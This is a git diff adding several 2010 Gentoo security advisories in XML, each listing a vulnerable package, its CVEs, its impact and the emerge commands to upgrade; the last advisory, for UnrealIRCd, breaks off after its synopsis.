diff --git a/xml/htdocs/security/en/glsa/glsa-201006-13.xml b/xml/htdocs/security/en/glsa/glsa-201006-13.xml
new file mode 100644
index 00000000..ce2367e4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-201006-13.xml
@@ -0,0 +1,86 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="201006-13">
+  <title>Smarty: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in the Smarty template engine might allow remote
+    attackers to execute arbitrary PHP code.
+  </synopsis>
+  <product type="ebuild">smarty</product>
+  <announced>June 02, 2010</announced>
+  <revised>June 02, 2010: 01</revised>
+  <bug>212147</bug>
+  <bug>243856</bug>
+  <bug>270494</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-php/smarty" auto="yes" arch="*">
+      <unaffected range="ge">2.6.23</unaffected>
+      <vulnerable range="lt">2.6.23</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Smarty is a template engine for PHP.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been discovered in Smarty:
+    </p>
+    <ul>
+    <li>The vendor reported that the modifier.regex_replace.php plug-in
+    contains an input sanitation flaw related to the ASCII NUL character
+    (CVE-2008-1066).</li>
+    <li>The vendor reported that the
+    _expand_quoted_text() function in libs/Smarty_Compiler.class.php
+    contains an input sanitation flaw via multiple vectors (CVE-2008-4810,
+    CVE-2008-4811).</li>
+    <li>Nine:Situations:Group::bookoo reported that
+    the smarty_function_math() function in libs/plugins/function.math.php
+    contains input sanitation flaw (CVE-2009-1669).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    These issues might allow a remote attacker to execute arbitrary PHP
+    code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Smarty users should upgrade to an unaffected version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-php/smarty-2.6.23&quot;</code>
+    <p>
+    NOTE: This is a legacy GLSA. Updates for all affected architectures are
+    available since June 2, 2009. It is likely that your system is already
+    no longer affected by this issue.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1066">CVE-2008-1066</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4810">CVE-2008-4810</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4811">CVE-2008-4811</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1669">CVE-2009-1669</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 15 Mar 2008 21:06:13 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 19 Sep 2008 19:51:21 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 30 May 2010 11:16:44 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-201006-14.xml b/xml/htdocs/security/en/glsa/glsa-201006-14.xml
new file mode 100644
index 00000000..4e89a94b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-201006-14.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="201006-14">
+  <title>Newt: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    A heap-based buffer overflow in the Newt library might allow remote,
+    user-assisted attackers to execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">newt</product>
+  <announced>June 02, 2010</announced>
+  <revised>June 02, 2010: 01</revised>
+  <bug>285854</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/newt" auto="yes" arch="*">
+      <unaffected range="ge">0.52.10-r1</unaffected>
+      <vulnerable range="lt">0.52.10-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Newt is a library for displaying text mode user interfaces.
+    </p>
+  </background>
+  <description>
+    <p>
+    Miroslav Lichvar reported that Newt is prone to a heap-based buffer
+    overflow in textbox.c.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to enter a specially crafted
+    string into a text dialog box rendered by Newt, possibly resulting in
+    the remote execution of arbitrary code with the privileges of the user
+    running the application, or a Denial of Service condition.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Newt users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/newt-0.52.10-r1&quot;</code>
+    <p>
+    NOTE: This is a legacy GLSA. Updates for all affected architectures are
+    available since October 26, 2009. It is likely that your system is
+    already no longer affected by this issue.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2905">CVE-2009-2905</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 06 Nov 2009 09:28:48 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 31 May 2010 05:47:34 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 31 May 2010 05:47:41 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-201006-15.xml b/xml/htdocs/security/en/glsa/glsa-201006-15.xml
new file mode 100644
index 00000000..7559c614
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-201006-15.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="201006-15">
+  <title>XEmacs: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Multiple integer overflow errors in XEmacs might allow remote,
+    user-assisted attackers to execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">xemacs</product>
+  <announced>June 03, 2010</announced>
+  <revised>June 03, 2010: 01</revised>
+  <bug>275397</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-editors/xemacs" auto="yes" arch="*">
+      <unaffected range="ge">21.4.22-r1</unaffected>
+      <vulnerable range="lt">21.4.22-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    XEmacs is a highly extensible and customizable text editor.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tielei Wang reported multiple integer overflow vulnerabilities in the
+    tiff_instantiate(), png_instantiate() and jpeg_instantiate() functions
+    in glyphs-eimage.c, all possibly leading to heap-based buffer
+    overflows.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted TIFF,
+    JPEG or PNG file using XEmacs, possibly resulting in the remote
+    execution of arbitrary code with the privileges of the user running the
+    application, or a Denial of Service condition.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All XEmacs users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-editors/xemacs-21.4.22-r1&quot;</code>
+    <p>
+    NOTE: This is a legacy GLSA. Updates for all affected architectures are
+    available since July 26, 2009. It is likely that your system is already
+    no longer affected by this issue.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2688">CVE-2009-2688</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 30 Jul 2009 20:43:44 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 31 May 2010 06:40:54 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 31 May 2010 06:41:02 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-201006-16.xml b/xml/htdocs/security/en/glsa/glsa-201006-16.xml
new file mode 100644
index 00000000..4e5b9584
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-201006-16.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="201006-16">
+  <title>GD: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    The GD library is prone to a buffer overflow vulnerability.
+  </synopsis>
+  <product type="ebuild">gd</product>
+  <announced>June 03, 2010</announced>
+  <revised>June 03, 2010: 01</revised>
+  <bug>292130</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/gd" auto="yes" arch="*">
+      <unaffected range="ge">2.0.35-r1</unaffected>
+      <vulnerable range="lt">2.0.35-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GD is a graphic library for fast image creation.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tomas Hoger reported that the _gdGetColors() function in gd_gd.c does
+    not properly verify the colorsTotal struct member, possibly leading to
+    a buffer overflow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted image
+    file with a program using the GD library, possibly resulting in the
+    remote execution of arbitrary code with the privileges of the user
+    running the application, or a Denial of Service condition.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GD users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/gd-2.0.35-r1&quot;</code>
+    <p>
+    NOTE: This is a legacy GLSA. Updates for all affected architectures are
+    available since November 21, 2009. It is likely that your system is
+    already no longer affected by this issue.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3546">CVE-2009-3546</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 18 Dec 2009 02:08:27 +0000">
+    craig
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 31 May 2010 05:59:40 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 31 May 2010 05:59:48 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-201006-17.xml b/xml/htdocs/security/en/glsa/glsa-201006-17.xml
new file mode 100644
index 00000000..bee58a6b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-201006-17.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="201006-17">
+  <title>lighttpd: Denial of Service</title>
+  <synopsis>
+    A processing error in lighttpd might result in a Denial of Service
+    condition.
+  </synopsis>
+  <product type="ebuild">lighttpd</product>
+  <announced>June 03, 2010</announced>
+  <revised>June 03, 2010: 01</revised>
+  <bug>303213</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-servers/lighttpd" auto="yes" arch="*">
+      <unaffected range="ge">1.4.25-r1</unaffected>
+      <vulnerable range="lt">1.4.25-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    lighttpd is a lightweight high-performance web server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Li Ming reported that lighttpd does not properly process packets that
+    are sent overly slow.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker might send specially crafted packets to a server
+    running lighttpd, possibly resulting in a Denial of Service condition
+    via host memory exhaustion.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All lighttpd users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-servers/lighttpd-1.4.25-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0295">CVE-2010-0295</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 15 Mar 2010 14:19:51 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 31 May 2010 15:20:53 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 31 May 2010 15:20:59 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-201006-18.xml b/xml/htdocs/security/en/glsa/glsa-201006-18.xml
new file mode 100644
index 00000000..5f37aa8a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-201006-18.xml
@@ -0,0 +1,143 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="201006-18">
+  <title>Oracle JRE/JDK: Multiple vulnerabilities</title>
+  <synopsis>
+    The Oracle JDK and JRE are vulnerable to multiple unspecified
+    vulnerabilities.
+  </synopsis>
+  <product type="ebuild">sun-jre-bin sun-jdk emul-linux-x86-java</product>
+  <announced>June 04, 2010</announced>
+  <revised>June 04, 2010: 01</revised>
+  <bug>306579</bug>
+  <bug>314531</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-java/sun-jre-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.6.0.20</unaffected>
+      <vulnerable range="lt">1.6.0.20</vulnerable>
+    </package>
+    <package name="dev-java/sun-jdk" auto="yes" arch="*">
+      <unaffected range="ge">1.6.0.20</unaffected>
+      <vulnerable range="lt">1.6.0.20</vulnerable>
+    </package>
+    <package name="app-emulation/emul-linux-x86-java" auto="yes" arch="*">
+      <unaffected range="ge">1.6.0.20</unaffected>
+      <vulnerable range="lt">1.6.0.20</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Oracle Java Development Kit (JDK) (formerly known as Sun JDK) and
+    the Oracle Java Runtime Environment (JRE) (formerly known as Sun JRE)
+    provide the Oracle Java platform (formerly known as Sun Java Platform).
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been reported in the Oracle Java
+    implementation. Please review the CVE identifiers referenced below and
+    the associated Oracle Critical Patch Update Advisory for details.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit these vulnerabilities to cause
+    unspecified impact, possibly including remote execution of arbitrary
+    code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Oracle JRE 1.6.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/sun-jre-bin-1.6.0.20&quot;</code>
+    <p>
+    All Oracle JDK 1.6.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-java/sun-jdk-1.6.0.20&quot;</code>
+    <p>
+    All users of the precompiled 32bit Oracle JRE 1.6.x should upgrade to
+    the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-emulation/emul-linux-x86-java-1.6.0.20&quot;</code>
+    <p>
+    All Oracle JRE 1.5.x, Oracle JDK 1.5.x, and precompiled 32bit Oracle
+    JRE 1.5.x users are strongly advised to unmerge Java 1.5:
+    </p>
+    <code>
+    # emerge --unmerge =app-emulation/emul-linux-x86-java-1.5*
+    # emerge --unmerge =dev-java/sun-jre-bin-1.5*
+    # emerge --unmerge =dev-java/sun-jdk-1.5*</code>
+    <p>
+    Gentoo is ceasing support for the 1.5 generation of the Oracle Java
+    Platform in accordance with upstream. All 1.5 JRE versions are masked
+    and will be removed shortly. All 1.5 JDK versions are marked as
+    "build-only" and will be masked for removal shortly. Users are advised
+    to change their default user and system Java implementation to an
+    unaffected version. For example:
+    </p>
+    <code>
+    # java-config --set-system-vm sun-jdk-1.6</code>
+    <p>
+    For more information, please consult the Gentoo Linux Java
+    documentation.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555">CVE-2009-3555</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0082">CVE-2010-0082</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0084">CVE-2010-0084</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0085">CVE-2010-0085</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0087">CVE-2010-0087</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0088">CVE-2010-0088</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0089">CVE-2010-0089</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0090">CVE-2010-0090</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0091">CVE-2010-0091</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0092">CVE-2010-0092</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0093">CVE-2010-0093</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0094">CVE-2010-0094</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0095">CVE-2010-0095</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0837">CVE-2010-0837</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0838">CVE-2010-0838</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0839">CVE-2010-0839</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0840">CVE-2010-0840</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0841">CVE-2010-0841</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0842">CVE-2010-0842</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0843">CVE-2010-0843</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0844">CVE-2010-0844</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0845">CVE-2010-0845</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0846">CVE-2010-0846</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0847">CVE-2010-0847</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0848">CVE-2010-0848</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0849">CVE-2010-0849</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0850">CVE-2010-0850</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0886">CVE-2010-0886</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0887">CVE-2010-0887</uri>
+    <uri link="http://www.gentoo.org/doc/en/java.xml#doc_chap4">Gentoo Linux Java documentation</uri>
+    <uri link="http://www.oracle.com/technology/deploy/security/critical-patch-updates/javacpumar2010.html">Oracle Java SE and Java for Business Critical Patch Update Advisory - March 2010</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 02 Apr 2010 09:43:04 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 02 Apr 2010 09:59:07 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 04 Jun 2010 05:06:52 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-201006-19.xml b/xml/htdocs/security/en/glsa/glsa-201006-19.xml
new file mode 100644
index 00000000..875da00a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-201006-19.xml
@@ -0,0 +1,87 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="201006-19">
+  <title>Bugzilla: Multiple vulnerabilities</title>
+  <synopsis>
+    Bugzilla is prone to multiple medium severity vulnerabilities.
+  </synopsis>
+  <product type="ebuild">bugzilla</product>
+  <announced>June 04, 2010</announced>
+  <revised>June 04, 2010: 02</revised>
+  <bug>239564</bug>
+  <bug>258592</bug>
+  <bug>264572</bug>
+  <bug>284824</bug>
+  <bug>303437</bug>
+  <bug>303725</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/bugzilla" auto="yes" arch="*">
+      <unaffected range="ge">3.2.6</unaffected>
+      <vulnerable range="lt">3.2.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Bugzilla is a bug tracking system from the Mozilla project.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been reported in Bugzilla. Please review
+    the CVE identifiers referenced below for details.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker might be able to disclose local files, bug
+    information, passwords, and other data under certain circumstances.
+    Furthermore, a remote attacker could conduct SQL injection, Cross-Site
+    Scripting (XSS) or Cross-Site Request Forgery (CSRF) attacks via
+    various vectors.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Bugzilla users should upgrade to an unaffected version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/bugzilla-3.2.6&quot;</code>
+    <p>
+    Bugzilla 2.x and 3.0 have reached their end of life. There will be no
+    more security updates. All Bugzilla 2.x and 3.0 users should update to
+    a supported Bugzilla 3.x version.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4437">CVE-2008-4437</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6098">CVE-2008-6098</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0481">CVE-2009-0481</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0482">CVE-2009-0482</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0483">CVE-2009-0483</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0484">CVE-2009-0484</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0485">CVE-2009-0485</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0486">CVE-2009-0486</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1213">CVE-2009-1213</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3125">CVE-2009-3125</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3165">CVE-2009-3165</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3166">CVE-2009-3166</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3387">CVE-2009-3387</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3989">CVE-2009-3989</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sat, 14 Feb 2009 18:17:01 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 10 Oct 2009 16:01:17 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-201006-20.xml b/xml/htdocs/security/en/glsa/glsa-201006-20.xml
new file mode 100644
index 00000000..5d593140
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-201006-20.xml
@@ -0,0 +1,90 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="201006-20">
+  <title>Asterisk: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in Asterisk might allow remote attackers to cause
+    a Denial of Service condition, or conduct other attacks.
+  </synopsis>
+  <product type="ebuild">asterisk</product>
+  <announced>June 04, 2010</announced>
+  <revised>June 04, 2010: 01</revised>
+  <bug>281107</bug>
+  <bug>283624</bug>
+  <bug>284892</bug>
+  <bug>295270</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/asterisk" auto="yes" arch="*">
+      <unaffected range="ge">1.2.37</unaffected>
+      <vulnerable range="lt">1.2.37</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Asterisk is an open source telephony engine and toolkit.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been reported in Asterisk:
+    </p>
+    <ul>
+    <li>Nick Baggott reported that Asterisk does not properly process
+    overly long ASCII strings in various packets (CVE-2009-2726).</li>
+    <li>Noam Rathaus and Blake Cornell reported a flaw in the IAX2 protocol
+    implementation (CVE-2009-2346).</li>
+    <li>amorsen reported an input
+    processing error in the RTP protocol implementation
+    (CVE-2009-4055).</li>
+    <li>Patrik Karlsson reported an information
+    disclosure flaw related to the REGISTER message (CVE-2009-3727).</li>
+    <li>A vulnerability was found in the bundled Prototype JavaScript
+    library, related to AJAX calls (CVE-2008-7220).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit these vulnerabilities by sending a
+    specially crafted package, possibly causing a Denial of Service
+    condition, or resulting in information disclosure.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Asterisk users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/asterisk-1.2.37&quot;</code>
+    <p>
+    NOTE: This is a legacy GLSA. Updates for all affected architectures are
+    available since January 5, 2010. It is likely that your system is
+    already no longer affected by this issue.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2726">CVE-2009-2726</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2346">CVE-2009-2346</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4055">CVE-2009-4055</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3727">CVE-2009-3727</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-7220">CVE-2008-7220</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 06 Nov 2009 13:21:43 +0000">
+    craig
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 31 May 2010 15:08:16 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 31 May 2010 15:08:22 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-201006-21.xml b/xml/htdocs/security/en/glsa/glsa-201006-21.xml
new file mode 100644
index 00000000..034229db
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-201006-21.xml
@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="201006-21">
+  <title>UnrealIRCd: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in UnrealIRCd might allow remote attackers to
+    compromise the "unrealircd" account, or cause a Denial of Service.
+  </synopsis>
+  <product type="ebuild">unrealircd</product>
